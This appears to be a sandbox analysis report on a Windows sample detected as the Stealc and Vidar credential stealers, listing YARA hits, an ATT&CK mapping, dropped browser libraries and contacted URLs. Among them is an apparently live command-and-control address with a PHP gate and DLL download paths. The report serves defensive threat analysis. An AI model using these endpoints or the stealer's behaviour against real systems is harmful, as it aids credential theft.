Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6308, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2634590960.0000000000571000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2184656532.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6308, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://anglebug.com/4633	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
http://anglebug.com/6248	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
http://anglebug.com/5281	0%	URL Reputation	safe
https://anglebug.com/7246	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://issuetracker.google.com/161903006	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/3078	0%	URL Reputation	safe
http://anglebug.com/5375	0%	URL Reputation	safe
http://anglebug.com/5371	0%	URL Reputation	safe
http://anglebug.com/4722	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/6692	0%	URL Reputation	safe
http://anglebug.com/3502	0%	URL Reputation	safe
http://anglebug.com/3623	0%	URL Reputation	safe
http://anglebug.com/3625	0%	URL Reputation	safe
http://anglebug.com/3624	0%	URL Reputation	safe
http://anglebug.com/5007	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	unknown
plus.l.google.com	216.58.206.78	true	false	unknown
play.google.com	142.250.181.238	true	false	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	unknown
sb.scorecardresearch.com	18.244.18.32	true	false	unknown
www.google.com	142.250.185.228	true	false	unknown
googlehosted.l.googleusercontent.com	142.250.74.193	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
bzib.nelreports.net	unknown	unknown	false	unknown
assets.msn.com	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown
api.msn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730259282014&w=0&anoncknm=app_anon&NoResponseBody=true	false		unknown
https://deff.nelreports.net/api/report?cat=msn	false	URL Reputation: safe	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730259282025&w=0&anoncknm=app_anon&NoResponseBody=true	false		unknown
http://185.215.113.206/6c4adf523b719729.php	true		unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true		unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730259281026&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true		unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true		unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true		unknown
https://c.msn.com/c.gif?rnd=1730259281028&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1588ce342ab149c9a72735bcbeec80ff&activityId=1588ce342ab149c9a72735bcbeec80ff&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false		unknown
https://c.msn.com/c.gif?rnd=1730259281028&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1588ce342ab149c9a72735bcbeec80ff&activityId=1588ce342ab149c9a72735bcbeec80ff&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=DB5198AB21244D7CA4AE81CF9061EEB3&MUID=39831A78EF4B6A0708630F50EE1C6BA7	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2367015826.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBK.0.dr, BAAFBFBA.0.dr, Web Data.8.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2367015826.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271791247.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265561299.0000460400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291391448.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2329237782.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, BKKJKFBK.0.dr, BAAFBFBA.0.dr, Web Data.8.dr	false	URL Reputation: safe	unknown
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000003.00000003.2297251542.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271660921.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288221093.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357466064.0000460400F98000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7382	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/284462263	msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/j~	chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/I~	chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000003.00000003.2271527978.0000460400498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269972448.000046040103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271660921.0000460400F74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270075925.000046040104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270180373.0000460401068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2287052506.0000460400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271972687.00004604010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271882799.00004604003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270107195.000046040109C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270131783.0000460400F4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271549257.0000460400A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272225399.000046040120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271575152.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/F	chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com	1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	false		unknown
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.2269281587.0000460400FD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268922073.0000460400E0C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.instagram.com	1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/7z	chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/M	chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.2271972687.00004604010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271882799.00004604003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272225399.000046040120C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/W	chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/chrome/tips/	chrome.exe, 00000003.00000003.2297251542.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271660921.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288221093.0000460400F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357466064.0000460400F98000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000003.00000003.2289425319.0000460401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2288584284.00004604014C4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/Z	chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	false		unknown
https://outlook.office.com/mail/compose?isExtension=true	1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	false		unknown
http://anglebug.com/6929	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5281	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/a	chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://i.y.qq.com/n2/m/index.html	1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	false		unknown
https://www.deezer.com/	1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/:z	chrome.exe, 00000003.00000003.2294420646.00004604016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294350804.00004604016C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://web.telegram.org/	1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll:	file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7369	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7489	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dllB	file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2467961538.00006C980237C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000002.2655292179.0000000023746000.00000004.00000020.00020000.00000000.sdmp, HIIIDAKKJJJKKECAKKJE.0.dr	false		unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000003.00000003.2271527978.0000460400498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269972448.000046040103C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271660921.0000460400F74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270075925.000046040104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270180373.0000460401068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2287052506.0000460400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271972687.00004604010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271882799.00004604003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270107195.000046040109C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270131783.0000460400F4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271549257.0000460400A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272225399.000046040120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271575152.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206j	file.exe, 00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000003.00000003.2271791247.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265561299.0000460400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291391448.0000460400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2329237782.0000460400C40000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2367015826.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBK.0.dr, BAAFBFBA.0.dr, Web Data.8.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dllT	file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/161903006	msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2367015826.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBK.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false	URL Reputation: safe	unknown
https://excel.new?from=EdgeM365Shoreline	1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	false		unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll.	file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
